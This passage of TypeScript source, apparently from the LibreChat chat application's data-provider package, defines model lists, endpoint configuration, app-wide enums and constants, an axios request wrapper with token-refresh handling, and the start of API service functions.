'claude-haiku-4-5-20251001',\n 'claude-opus-4-1',\n 'claude-opus-4-1-20250805',\n 'claude-opus-4-5',\n 'claude-sonnet-4-20250514',\n 'claude-sonnet-4-0',\n 'claude-opus-4-20250514',\n 'claude-opus-4-0',\n 'claude-3-7-sonnet-latest',\n 'claude-3-7-sonnet-20250219',\n 'claude-3-5-haiku-20241022',\n 'claude-3-5-sonnet-20241022',\n 'claude-3-5-sonnet-20240620',\n 'claude-3-5-sonnet-latest',\n];\n\nexport const bedrockModels = [\n 'anthropic.claude-sonnet-4-6',\n 'anthropic.claude-opus-4-6-v1',\n 'anthropic.claude-sonnet-4-5-20250929-v1:0',\n 'anthropic.claude-haiku-4-5-20251001-v1:0',\n 'anthropic.claude-opus-4-1-20250805-v1:0',\n 'anthropic.claude-3-5-sonnet-20241022-v2:0',\n 'anthropic.claude-3-5-sonnet-20240620-v1:0',\n 'anthropic.claude-3-5-haiku-20241022-v1:0',\n // 'cohere.command-text-v14', // no conversation history\n // 'cohere.command-light-text-v14', // no conversation history\n 'cohere.command-r-v1:0',\n 'cohere.command-r-plus-v1:0',\n 'meta.llama2-13b-chat-v1',\n 'meta.llama2-70b-chat-v1',\n 'meta.llama3-8b-instruct-v1:0',\n 'meta.llama3-70b-instruct-v1:0',\n 'meta.llama3-1-8b-instruct-v1:0',\n 'meta.llama3-1-70b-instruct-v1:0',\n 'meta.llama3-1-405b-instruct-v1:0',\n 'mistral.mistral-7b-instruct-v0:2',\n 'mistral.mixtral-8x7b-instruct-v0:1',\n 'mistral.mistral-large-2402-v1:0',\n 'mistral.mistral-large-2407-v1:0',\n 'mistral.mistral-small-2402-v1:0',\n 'ai21.jamba-instruct-v1:0',\n // 'ai21.j2-mid-v1', // no streaming\n // 'ai21.j2-ultra-v1', no conversation history\n 'amazon.titan-text-lite-v1',\n 'amazon.titan-text-express-v1',\n 'amazon.titan-text-premier-v1:0',\n];\n\nexport const defaultModels = {\n [EModelEndpoint.azureAssistants]: sharedOpenAIModels,\n [EModelEndpoint.assistants]: [...sharedOpenAIModels, 'chatgpt-4o-latest'],\n [EModelEndpoint.agents]: sharedOpenAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.google]: [\n // Gemini 3.1 Models\n 'gemini-3.1-pro-preview',\n 'gemini-3.1-pro-preview-customtools',\n 'gemini-3.1-flash-lite-preview',\n // Gemini 3 Models\n 'gemini-3-pro-preview',\n 'gemini-3-flash-preview',\n // Gemini 2.5 Models\n 'gemini-2.5-pro',\n 'gemini-2.5-flash',\n 'gemini-2.5-flash-lite',\n // Gemini 2.0 Models\n 'gemini-2.0-flash-001',\n 'gemini-2.0-flash-lite',\n ],\n [EModelEndpoint.anthropic]: sharedAnthropicModels,\n [EModelEndpoint.openAI]: [\n ...sharedOpenAIModels,\n 'chatgpt-4o-latest',\n 'gpt-4-vision-preview',\n 'gpt-3.5-turbo-instruct-0914',\n 'gpt-3.5-turbo-instruct',\n ],\n [EModelEndpoint.bedrock]: bedrockModels,\n};\n\nconst fitlerAssistantModels = (str: string) => {\n return /gpt-4|gpt-3\\\\.5/i.test(str) && !/vision|instruct/i.test(str);\n};\n\nconst openAIModels = defaultModels[EModelEndpoint.openAI];\n\nexport const initialModelsConfig: TModelsConfig = {\n initial: [],\n [EModelEndpoint.openAI]: openAIModels,\n [EModelEndpoint.assistants]: openAIModels.filter(fitlerAssistantModels),\n [EModelEndpoint.agents]: openAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.azureOpenAI]: openAIModels,\n [EModelEndpoint.google]: defaultModels[EModelEndpoint.google],\n [EModelEndpoint.anthropic]: defaultModels[EModelEndpoint.anthropic],\n [EModelEndpoint.bedrock]: defaultModels[EModelEndpoint.bedrock],\n};\n\nexport const EndpointURLs = {\n [EModelEndpoint.assistants]: `${apiBaseUrl()}/api/assistants/v2/chat`,\n [EModelEndpoint.azureAssistants]: `${apiBaseUrl()}/api/assistants/v1/chat`,\n [EModelEndpoint.agents]: `${apiBaseUrl()}/api/${EModelEndpoint.agents}/chat`,\n} as const;\n\nexport const modularEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.custom,\n EModelEndpoint.agents,\n EModelEndpoint.bedrock,\n]);\n\nexport const supportsBalanceCheck = {\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.agents]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.bedrock]: true,\n [EModelEndpoint.google]: true,\n};\n\nexport const visionModels = [\n 'qwen-vl',\n 'grok-vision',\n 'grok-2-vision',\n 'grok-3',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4-turbo',\n 'gpt-4-vision',\n 'o4-mini',\n 'o3',\n 'o1',\n 'gpt-5',\n 'gpt-4.1',\n 'gpt-4.5',\n 'llava',\n 'llava-13b',\n 'gemini-pro-vision',\n 'claude-3',\n 'gemma',\n 'gemini-exp',\n 'gemini-1.5',\n 'gemini-2',\n 'gemini-2.5',\n 'gemini-3',\n 'moondream',\n 'llama3.2-vision',\n 'llama-3.2-11b-vision',\n 'llama-3-2-11b-vision',\n 'llama-3.2-90b-vision',\n 'llama-3-2-90b-vision',\n 'llama-4',\n 'claude-opus-4',\n 'claude-sonnet-4',\n 'claude-haiku-4',\n];\nexport enum VisionModes {\n generative = 'generative',\n agents = 'agents',\n}\n\nexport function validateVisionModel({\n model,\n additionalModels = [],\n availableModels,\n}: {\n model: string;\n additionalModels?: string[];\n availableModels?: string[];\n}) {\n if (!model) {\n return false;\n }\n\n if (model.includes('gpt-4-turbo-preview') || model.includes('o1-mini')) {\n return false;\n }\n\n if (availableModels && !availableModels.includes(model)) {\n return false;\n }\n\n return visionModels.concat(additionalModels).some((visionModel) => model.includes(visionModel));\n}\n\nexport const imageGenTools = new Set([\n 'dalle',\n 'dall-e',\n 'stable-diffusion',\n 'flux',\n 'gemini_image_gen',\n]);\n\n/**\n * Enum for collections using infinite queries\n */\nexport enum InfiniteCollections {\n /**\n * Collection for Prompt Groups\n */\n PROMPT_GROUPS = 'promptGroups',\n /**\n * Collection for Shared Links\n */\n SHARED_LINKS = 'sharedLinks',\n}\n\n/**\n * Enum for time intervals\n */\nexport enum Time {\n ONE_DAY = 86400000,\n TWELVE_HOURS = 43200000,\n ONE_HOUR = 3600000,\n THIRTY_MINUTES = 1800000,\n TEN_MINUTES = 600000,\n FIVE_MINUTES = 300000,\n THREE_MINUTES = 180000,\n TWO_MINUTES = 120000,\n ONE_MINUTE = 60000,\n THIRTY_SECONDS = 30000,\n}\n\n/**\n * Enum for cache keys.\n */\nexport enum CacheKeys {\n /**\n * Key for the config store namespace.\n */\n CONFIG_STORE = 'CONFIG_STORE',\n /**\n * Key for the tool cache namespace (plugins, MCP tools, tool definitions).\n */\n TOOL_CACHE = 'TOOL_CACHE',\n /**\n * Key for the roles cache.\n */\n ROLES = 'ROLES',\n /**\n * Key for the title generation cache.\n */\n GEN_TITLE = 'GEN_TITLE',\n /**\n * Key for the tools cache.\n */\n TOOLS = 'TOOLS',\n /**\n * Key for the model config cache.\n */\n MODELS_CONFIG = 'MODELS_CONFIG',\n /**\n * Key for the model queries cache.\n */\n MODEL_QUERIES = 'MODEL_QUERIES',\n /**\n * Key for the default startup config cache.\n */\n STARTUP_CONFIG = 'STARTUP_CONFIG',\n /**\n * Key for the default endpoint config cache.\n */\n ENDPOINT_CONFIG = 'ENDPOINT_CONFIG',\n /**\n * Key for accessing the model token config cache.\n */\n TOKEN_CONFIG = 'TOKEN_CONFIG',\n /**\n * Key for the app config namespace.\n */\n APP_CONFIG = 'APP_CONFIG',\n /**\n * Key for accessing Abort Keys\n */\n ABORT_KEYS = 'ABORT_KEYS',\n /**\n * Key for the bans cache.\n */\n BANS = 'BANS',\n /**\n * Key for the encoded domains cache.\n * Used by Azure OpenAI Assistants.\n */\n ENCODED_DOMAINS = 'ENCODED_DOMAINS',\n /**\n * Key for the cached audio run Ids.\n */\n AUDIO_RUNS = 'AUDIO_RUNS',\n /**\n * Key for in-progress messages.\n */\n MESSAGES = 'MESSAGES',\n /**\n * Key for in-progress flow states.\n */\n FLOWS = 'FLOWS',\n /**\n * Key for pending chat requests (concurrency check)\n */\n PENDING_REQ = 'PENDING_REQ',\n /**\n * Key for s3 check intervals per user\n */\n S3_EXPIRY_INTERVAL = 'S3_EXPIRY_INTERVAL',\n /**\n * key for open id exchanged tokens\n */\n OPENID_EXCHANGED_TOKENS = 'OPENID_EXCHANGED_TOKENS',\n /**\n * Key for OpenID session.\n */\n OPENID_SESSION = 'OPENID_SESSION',\n /**\n * Key for SAML session.\n */\n SAML_SESSION = 'SAML_SESSION',\n /**\n * Key for admin panel OAuth exchange codes (one-time-use, short TTL).\n */\n ADMIN_OAUTH_EXCHANGE = 'ADMIN_OAUTH_EXCHANGE',\n}\n\n/**\n * Enum for violation types, used to identify, log, and cache violations.\n */\nexport enum ViolationTypes {\n /**\n * File Upload Violations (exceeding limit).\n */\n FILE_UPLOAD_LIMIT = 'file_upload_limit',\n /**\n * Illegal Model Request (not available).\n */\n ILLEGAL_MODEL_REQUEST = 'illegal_model_request',\n /**\n * Token Limit Violation.\n */\n TOKEN_BALANCE = 'token_balance',\n /**\n * An issued ban.\n */\n BAN = 'ban',\n /**\n * TTS Request Limit Violation.\n */\n TTS_LIMIT = 'tts_limit',\n /**\n * STT Request Limit Violation.\n */\n STT_LIMIT = 'stt_limit',\n /**\n * Reset Password Limit Violation.\n */\n RESET_PASSWORD_LIMIT = 'reset_password_limit',\n /**\n * Verify Email Limit Violation.\n */\n VERIFY_EMAIL_LIMIT = 'verify_email_limit',\n /**\n * Verify Conversation Access violation.\n */\n CONVO_ACCESS = 'convo_access',\n /**\n * Tool Call Limit Violation.\n */\n TOOL_CALL_LIMIT = 'tool_call_limit',\n /**\n * General violation (catch-all).\n */\n GENERAL = 'general',\n /**\n * Login attempt violations.\n */\n LOGINS = 'logins',\n /**\n * Concurrent request violations.\n */\n CONCURRENT = 'concurrent',\n /**\n * Non-browser access violations.\n */\n NON_BROWSER = 'non_browser',\n /**\n * Message limit violations.\n */\n MESSAGE_LIMIT = 'message_limit',\n /**\n * Registration violations.\n */\n REGISTRATIONS = 'registrations',\n}\n\n/**\n * Enum for error message types that are not \"violations\" as above, used to identify client-facing errors.\n */\nexport enum ErrorTypes {\n /**\n * No User-provided Key.\n */\n NO_USER_KEY = 'no_user_key',\n /**\n * Expired User-provided Key.\n */\n EXPIRED_USER_KEY = 'expired_user_key',\n /**\n * Invalid User-provided Key.\n */\n INVALID_USER_KEY = 'invalid_user_key',\n /**\n * No Base URL Provided.\n */\n NO_BASE_URL = 'no_base_url',\n /**\n * Base URL targets a restricted or invalid address (SSRF protection).\n */\n INVALID_BASE_URL = 'invalid_base_url',\n /**\n * Moderation error\n */\n MODERATION = 'moderation',\n /**\n * Prompt exceeds max length\n */\n INPUT_LENGTH = 'INPUT_LENGTH',\n /**\n * Invalid request error, API rejected request\n */\n INVALID_REQUEST = 'invalid_request_error',\n /**\n * Invalid action request error, likely not on list of allowed domains\n */\n INVALID_ACTION = 'invalid_action_error',\n /**\n * Invalid request error, API rejected request\n */\n NO_SYSTEM_MESSAGES = 'no_system_messages',\n /**\n * Google provider returned an error\n */\n GOOGLE_ERROR = 'google_error',\n /**\n * Google provider does not allow custom tools with built-in tools\n */\n GOOGLE_TOOL_CONFLICT = 'google_tool_conflict',\n /**\n * Invalid Agent Provider (excluded by Admin)\n */\n INVALID_AGENT_PROVIDER = 'invalid_agent_provider',\n /**\n * Missing model selection\n */\n MISSING_MODEL = 'missing_model',\n /**\n * Models configuration not loaded\n */\n MODELS_NOT_LOADED = 'models_not_loaded',\n /**\n * Endpoint models not loaded\n */\n ENDPOINT_MODELS_NOT_LOADED = 'endpoint_models_not_loaded',\n /**\n * Generic Authentication failure\n */\n AUTH_FAILED = 'auth_failed',\n /**\n * Model refused to respond (content policy violation)\n */\n REFUSAL = 'refusal',\n /**\n * SSE stream 404 — job completed, expired, or was deleted before the subscriber connected\n */\n STREAM_EXPIRED = 'stream_expired',\n}\n\n/**\n * Enum for authentication keys.\n */\nexport enum AuthKeys {\n /**\n * Key for the Service Account to use Vertex AI.\n */\n GOOGLE_SERVICE_KEY = 'GOOGLE_SERVICE_KEY',\n /**\n * API key to use Google Generative AI.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n GOOGLE_API_KEY = 'GOOGLE_API_KEY',\n /**\n * API key to use Anthropic.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n ANTHROPIC_API_KEY = 'ANTHROPIC_API_KEY',\n}\n\n/**\n * Enum for Image Detail Cost.\n *\n * **Low Res Fixed Cost:** `85`\n *\n * **High Res Calculation:**\n *\n * Number of `512px` Tiles * `170` + `85` (Additional Cost)\n */\nexport enum ImageDetailCost {\n /**\n * Low resolution is a fixed value.\n */\n LOW = 85,\n /**\n * High resolution Cost Per Tile\n */\n HIGH = 170,\n /**\n * Additional Cost added to High Resolution Total Cost\n */\n // eslint-disable-next-line @typescript-eslint/no-duplicate-enum-values\n ADDITIONAL = 85,\n}\n\n/**\n * Tab values for Settings Dialog\n */\nexport enum SettingsTabValues {\n /**\n * Tab for General Settings\n */\n GENERAL = 'general',\n /**\n * Tab for Chat Settings\n */\n CHAT = 'chat',\n /**\n * Tab for Speech Settings\n */\n SPEECH = 'speech',\n /**\n * Tab for Beta Features\n */\n BETA = 'beta',\n /**\n * Tab for Data Controls\n */\n DATA = 'data',\n /**\n * Tab for Balance Settings\n */\n BALANCE = 'balance',\n /**\n * Tab for Account Settings\n */\n ACCOUNT = 'account',\n /**\n * Chat input commands\n */\n COMMANDS = 'commands',\n /**\n * Tab for Personalization Settings\n */\n PERSONALIZATION = 'personalization',\n}\n\nexport enum STTProviders {\n /**\n * Provider for OpenAI STT\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure STT\n */\n AZURE_OPENAI = 'azureOpenAI',\n}\n\nexport enum TTSProviders {\n /**\n * Provider for OpenAI TTS\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure OpenAI TTS\n */\n AZURE_OPENAI = 'azureOpenAI',\n /**\n * Provider for ElevenLabs TTS\n */\n ELEVENLABS = 'elevenlabs',\n /**\n * Provider for LocalAI TTS\n */\n LOCALAI = 'localai',\n}\n\n/** Enum for app-wide constants */\nexport enum Constants {\n /** Key for the app's version. */\n VERSION = 'v0.8.4',\n /** Key for the Custom Config's version (librechat.yaml). */\n CONFIG_VERSION = '1.3.6',\n /** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */\n NO_PARENT = '00000000-0000-0000-0000-000000000000',\n /** Standard value to use whatever the submission prelim. `responseMessageId` is */\n USE_PRELIM_RESPONSE_MESSAGE_ID = 'USE_PRELIM_RESPONSE_MESSAGE_ID',\n /** Standard value for the initial conversationId before a request is sent */\n NEW_CONVO = 'new',\n /** Standard value for the temporary conversationId after a request is sent and before the server responds */\n PENDING_CONVO = 'PENDING',\n /** Standard value for the conversationId used for search queries */\n SEARCH = 'search',\n /** Fixed, encoded domain length for Azure OpenAI Assistants Function name parsing. */\n ENCODED_DOMAIN_LENGTH = 10,\n /** Identifier for using current_model in multi-model requests. */\n CURRENT_MODEL = 'current_model',\n /** Common divider for text values */\n COMMON_DIVIDER = '__',\n /** Max length for commands */\n COMMANDS_MAX_LENGTH = 56,\n /** Default Stream Rate (ms) */\n DEFAULT_STREAM_RATE = 1,\n /** Saved Tag */\n SAVED_TAG = 'Saved',\n /** Max number of Conversation starters for Agents/Assistants */\n MAX_CONVO_STARTERS = 4,\n /** Delimiter for MCP tools */\n mcp_delimiter = '_mcp_',\n /** Prefix for MCP plugins */\n mcp_prefix = 'mcp_',\n /** Unique value to indicate all MCP servers. For backend use only. */\n mcp_all = 'sys__all__sys',\n /** Unique value to indicate clearing MCP servers from UI state. For frontend use only. */\n mcp_clear = 'sys__clear__sys',\n /** Key suffix for non-spec user default tool storage */\n spec_defaults_key = '__defaults__',\n /**\n * Unique value to indicate the MCP tool was added to an agent.\n * This helps inform the UI if the mcp server was previously added.\n * */\n mcp_server = 'sys__server__sys',\n /**\n * Handoff Tool Name Prefix\n */\n LC_TRANSFER_TO_ = 'lc_transfer_to_',\n /** Placeholder Agent ID for Ephemeral Agents */\n EPHEMERAL_AGENT_ID = 'ephemeral',\n /** Programmatic Tool Calling tool name */\n PROGRAMMATIC_TOOL_CALLING = 'run_tools_with_code',\n}\n\nexport enum LocalStorageKeys {\n /** Key for the admin defined App Title */\n APP_TITLE = 'appTitle',\n /** Key for the last conversation setup. */\n LAST_CONVO_SETUP = 'lastConversationSetup',\n /** Key for the last selected model. */\n LAST_MODEL = 'lastSelectedModel',\n /** Key for the last selected tools. */\n LAST_TOOLS = 'lastSelectedTools',\n /** Key for the last selected spec by name*/\n LAST_SPEC = 'lastSelectedSpec',\n /** Key for temporary files to delete */\n FILES_TO_DELETE = 'filesToDelete',\n /** Prefix key for the last selected assistant ID by index */\n ASST_ID_PREFIX = 'assistant_id__',\n /** Prefix key for the last selected agent ID by index */\n AGENT_ID_PREFIX = 'agent_id__',\n /** Key for the last selected fork setting */\n FORK_SETTING = 'forkSetting',\n /** Key for remembering the last selected option, instead of manually selecting */\n REMEMBER_FORK_OPTION = 'rememberDefaultFork',\n /** Key for remembering the split at target fork option modifier */\n FORK_SPLIT_AT_TARGET = 'splitAtTarget',\n /** Key for saving text drafts */\n TEXT_DRAFT = 'textDraft_',\n /** Key for saving file drafts */\n FILES_DRAFT = 'filesDraft_',\n /** Key for last Selected Prompt Category */\n LAST_PROMPT_CATEGORY = 'lastPromptCategory',\n /** Key for rendering User Messages as Markdown */\n ENABLE_USER_MSG_MARKDOWN = 'enableUserMsgMarkdown',\n /** Key for auto-expanding tool call details */\n AUTO_EXPAND_TOOLS = 'autoExpandTools',\n /** Last selected MCP values per conversation ID */\n LAST_MCP_ = 'LAST_MCP_',\n /** Last checked toggle for Code Interpreter API per conversation ID */\n LAST_CODE_TOGGLE_ = 'LAST_CODE_TOGGLE_',\n /** Last checked toggle for Web Search per conversation ID */\n LAST_WEB_SEARCH_TOGGLE_ = 'LAST_WEB_SEARCH_TOGGLE_',\n /** Last checked toggle for File Search per conversation ID */\n LAST_FILE_SEARCH_TOGGLE_ = 'LAST_FILE_SEARCH_TOGGLE_',\n /** Last checked toggle for Artifacts per conversation ID */\n LAST_ARTIFACTS_TOGGLE_ = 'LAST_ARTIFACTS_TOGGLE_',\n /** Key for the last selected agent provider */\n LAST_AGENT_PROVIDER = 'lastAgentProvider',\n /** Key for the last selected agent model */\n LAST_AGENT_MODEL = 'lastAgentModel',\n /** Pin state for MCP tools per conversation ID */\n PIN_MCP_ = 'PIN_MCP_',\n /** Pin state for Web Search per conversation ID */\n PIN_WEB_SEARCH_ = 'PIN_WEB_SEARCH_',\n /** Pin state for Code Interpreter per conversation ID */\n PIN_CODE_INTERPRETER_ = 'PIN_CODE_INTERPRETER_',\n}\n\nexport enum ForkOptions {\n /** Key for direct path option */\n DIRECT_PATH = 'directPath',\n /** Key for including branches */\n INCLUDE_BRANCHES = 'includeBranches',\n /** Key for target level fork (default) */\n TARGET_LEVEL = 'targetLevel',\n /** Default option */\n DEFAULT = 'default',\n}\n\n/**\n * Enum for Cohere related constants\n */\nexport enum CohereConstants {\n /**\n * Cohere API Endpoint, for special handling\n */\n API_URL = 'https://api.cohere.ai/v1',\n /**\n * Role for \"USER\" messages\n */\n ROLE_USER = 'USER',\n /**\n * Role for \"SYSTEM\" messages\n */\n ROLE_SYSTEM = 'SYSTEM',\n /**\n * Role for \"CHATBOT\" messages\n */\n ROLE_CHATBOT = 'CHATBOT',\n /**\n * Title message as required by Cohere\n */\n TITLE_MESSAGE = 'TITLE:',\n}\n\nexport enum SystemCategories {\n ALL = 'sys__all__sys',\n MY_PROMPTS = 'sys__my__prompts__sys',\n NO_CATEGORY = 'sys__no__category__sys',\n SHARED_PROMPTS = 'sys__shared__prompts__sys',\n}\n\nexport const providerEndpointMap = {\n [EModelEndpoint.openAI]: EModelEndpoint.openAI,\n [EModelEndpoint.bedrock]: EModelEndpoint.bedrock,\n [EModelEndpoint.anthropic]: EModelEndpoint.anthropic,\n [EModelEndpoint.azureOpenAI]: EModelEndpoint.azureOpenAI,\n};\n\nexport const specialVariables = {\n current_date: true,\n current_user: true,\n iso_datetime: true,\n current_datetime: true,\n};\n\nexport type TSpecialVarLabel = `com_ui_special_var_${keyof typeof specialVariables}`;\n\n/**\n * Retrieves a specific field from the endpoints configuration for a given endpoint key.\n * Does not infer or default any endpoint type when absent.\n */\nexport function getEndpointField<\n K extends TConfig[keyof TConfig] extends never ? never : keyof TConfig,\n>(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: EModelEndpoint | string | null | undefined,\n property: K,\n): TConfig[K] | undefined {\n if (!endpointsConfig || endpoint === null || endpoint === undefined) {\n return undefined;\n }\n const config = endpointsConfig[endpoint];\n if (!config) {\n return undefined;\n }\n return config[property];\n}\n\n/**\n * Resolves the effective endpoint type:\n * - Non-agents endpoint: config.type || endpoint\n * - Agents + provider: config[provider].type || provider\n * - Agents, no provider: EModelEndpoint.agents\n *\n * Returns `undefined` when endpoint is null/undefined.\n */\nexport function resolveEndpointType(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n agentProvider?: string | null,\n): EModelEndpoint | string | undefined {\n if (!endpoint) {\n return undefined;\n }\n\n if (!isAgentsEndpoint(endpoint)) {\n return getEndpointField(endpointsConfig, endpoint, 'type') || endpoint;\n }\n\n if (agentProvider) {\n const providerType = getEndpointField(endpointsConfig, agentProvider, 'type');\n if (providerType) {\n return providerType;\n }\n return agentProvider;\n }\n\n return EModelEndpoint.agents;\n}\n\n/** Resolves the `defaultParamsEndpoint` for a given endpoint from its custom params config */\nexport function getDefaultParamsEndpoint(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n): string | undefined {\n if (!endpointsConfig || !endpoint) {\n return undefined;\n }\n return endpointsConfig[endpoint]?.customParams?.defaultParamsEndpoint;\n}\n","/* eslint-disable @typescript-eslint/no-explicit-any */\nimport axios, { AxiosError, AxiosRequestConfig } from 'axios';\nimport { setTokenHeader } from './headers-helpers';\nimport * as endpoints from './api-endpoints';\nimport type * as t from './types';\n\nasync function _get<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.get(url, { ...options });\n return response.data;\n}\n\nasync function _getResponse<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n return await axios.get(url, { ...options });\n}\n\nasync function _post(url: string, data?: any) {\n const response = await axios.post(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _postMultiPart(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n });\n return response.data;\n}\n\nasync function _postTTS(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n responseType: 'arraybuffer',\n });\n return response.data;\n}\n\nasync function _put(url: string, data?: any) {\n const response = await axios.put(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _delete<T>(url: string): Promise<T> {\n const response = await axios.delete(url);\n return response.data;\n}\n\nasync function _deleteWithOptions<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.delete(url, { ...options });\n return response.data;\n}\n\nasync function _patch(url: string, data?: any) {\n const response = await axios.patch(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nlet isRefreshing = false;\nlet failedQueue: { resolve: (value?: any) => void; reject: (reason?: any) => void }[] = [];\n\nconst refreshToken = (retry?: boolean): Promise<t.TRefreshTokenResponse | undefined> =>\n _post(endpoints.refreshToken(retry));\n\nconst dispatchTokenUpdatedEvent = (token: string) => {\n setTokenHeader(token);\n window.dispatchEvent(new CustomEvent('tokenUpdated', { detail: token }));\n};\n\nconst processQueue = (error: AxiosError | null, token: string | null = null) => {\n failedQueue.forEach((prom) => {\n if (error) {\n prom.reject(error);\n } else {\n prom.resolve(token);\n }\n });\n failedQueue = [];\n};\n\nif (typeof window !== 'undefined') {\n axios.interceptors.response.use(\n (response) => response,\n async (error) => {\n const originalRequest = error.config;\n if (!error.response) {\n return Promise.reject(error);\n }\n\n if (originalRequest.url?.includes('/api/auth/2fa') === true) {\n return Promise.reject(error);\n }\n if (originalRequest.url?.includes('/api/auth/logout') === true) {\n return Promise.reject(error);\n }\n\n /** Skip refresh when the Authorization header has been cleared (e.g. during logout),\n * but allow shared link requests to proceed so auth recovery/redirect can happen */\n if (\n !axios.defaults.headers.common['Authorization'] &&\n !window.location.pathname.startsWith('/share/')\n ) {\n return Promise.reject(error);\n }\n\n if (error.response.status === 401 && !originalRequest._retry) {\n console.warn('401 error, refreshing token');\n originalRequest._retry = true;\n\n if (isRefreshing) {\n try {\n const token = await new Promise((resolve, reject) => {\n failedQueue.push({ resolve, reject });\n });\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n return await axios(originalRequest);\n } catch (err) {\n return Promise.reject(err);\n }\n }\n\n isRefreshing = true;\n\n try {\n const response = await refreshToken(\n // Handle edge case where we get a blank screen if the initial 401 error is from a refresh token request\n originalRequest.url?.includes('api/auth/refresh') === true ? true : false,\n );\n\n const token = response?.token ?? '';\n\n if (token) {\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n dispatchTokenUpdatedEvent(token);\n processQueue(null, token);\n return await axios(originalRequest);\n } else {\n processQueue(error, null);\n window.location.href = endpoints.apiBaseUrl() + endpoints.buildLoginRedirectUrl();\n }\n } catch (err) {\n processQueue(err as AxiosError, null);\n return Promise.reject(err);\n } finally {\n isRefreshing = false;\n }\n }\n\n return Promise.reject(error);\n },\n );\n}\n\nexport default {\n get: _get,\n getResponse: _getResponse,\n post: _post,\n postMultiPart: _postMultiPart,\n postTTS: _postTTS,\n put: _put,\n delete: _delete,\n deleteWithOptions: _deleteWithOptions,\n patch: _patch,\n refreshToken,\n dispatchTokenUpdatedEvent,\n};\n","import axios from 'axios';\n\nexport function setAcceptLanguageHeader(value: string): void {\n axios.defaults.headers.common['Accept-Language'] = value;\n}\n\nexport function setTokenHeader(token: string | undefined) {\n if (token === undefined) {\n delete axios.defaults.headers.common['Authorization'];\n } else {\n axios.defaults.headers.common['Authorization'] = 'Bearer ' + token;\n }\n}\n","import type { AxiosResponse } from 'axios';\nimport type * as t from './types';\nimport * as endpoints from './api-endpoints';\nimport * as a from './types/assistants';\nimport * as ag from './types/agents';\nimport * as m from './types/mutations';\nimport * as q from './types/queries';\nimport * as f from './types/files';\nimport * as mcp from './types/mcpServers';\nimport * as config from './config';\nimport request from './request';\nimport * as s from './schemas';\nimport * as r from './roles';\nimport * as permissions from './accessPermissions';\n\nexport function revokeUserKey(name: string): Promise<unknown> {\n return request.delete(endpoints.revokeUserKey(name));\n}\n\nexport function revokeAllUserKeys(): Promise<unknown> {\n return request.delete(endpoints.revokeAllUserKeys());\n}\n\nexport function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {\n return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });\n}\n\nexport type FavoriteItem = {\n agentId?: string;\n model?: string;\n endpoint?: string;\n};\n\nexport function getFavorites(): Promise<FavoriteItem[]> {\n return request.get(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`);\n}\n\nexport function updateFavorites(favorites: FavoriteItem[]): Promise<FavoriteItem[]> {\n return request.post(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`, { favorites });\n}\n\nexport function getSharedMessages(shareId: string): Promise<t.TSharedMessagesResponse> {\n return request.get(endpoints.shareMessages(shareId));\n}\n\nexport const listSharedLinks = async (\n params: q.SharedLinksListParams,\n): Promise<q.SharedLinksResponse> => {\n const { pageSize, isPublic, sortBy, sortDirection, search, cursor } = params;\n\n return request.get(\n endpoints.getSharedLinks(pageSize, isPublic, sortBy, sortDirection, search, cursor),\n );\n};\n\nexport function getSharedLink(conversationId: string): Promise<t.TSharedLinkGetResponse> {\n return request.get(endpoints.getSharedLink(conversationId));\n}\n\nexport function createSharedLink(\n conversationId: string,\n targetMessageId?: string,\n): Promise<t.TSharedLinkResponse> {\n return request.post(endpoints.createSharedLink(conversationId), { targetMessageId });\n}\n\nexport function updateSharedLink(shareId: string): Promise<t.TSharedLinkResponse> {\n return request.patch(endpoints.updateSharedLink(shareId));\n}\n\nexport function deleteSharedLink(shareId: string): Promise<m.TDeleteSharedLinkResponse> {\n return request.delete(endpoints.shareMessages(shareId));\n}\n\nexport function updateUserKey(payload: t.TUpdateUserKeyRequest) {\n const { value } = payload;\n if (!value) {\n throw new Error('value is required');\n }\n\n return request.put(endpoints.keys(), payload);\n}\n\nexport function getAgentApiKeys(): Promise<t.TAgentApiKeyListResponse> {\n return request.get(endpoints.apiKeys());\n}\n\nexport function createAgentApiKey(\n payload: t.TAgentApiKeyCreateRequest,\n): Promise<t.TAgentApiKeyCreateResponse> {\n return request.post(endpoints.apiKeys(), payload);\n}\n\nexport function deleteAgentApiKey(id: string): Promise<void> {\n return request.delete(endpoints.apiKeyById(id));\n}\n\nexport function getPresets(): Promise<s.TPreset[]> {\n return 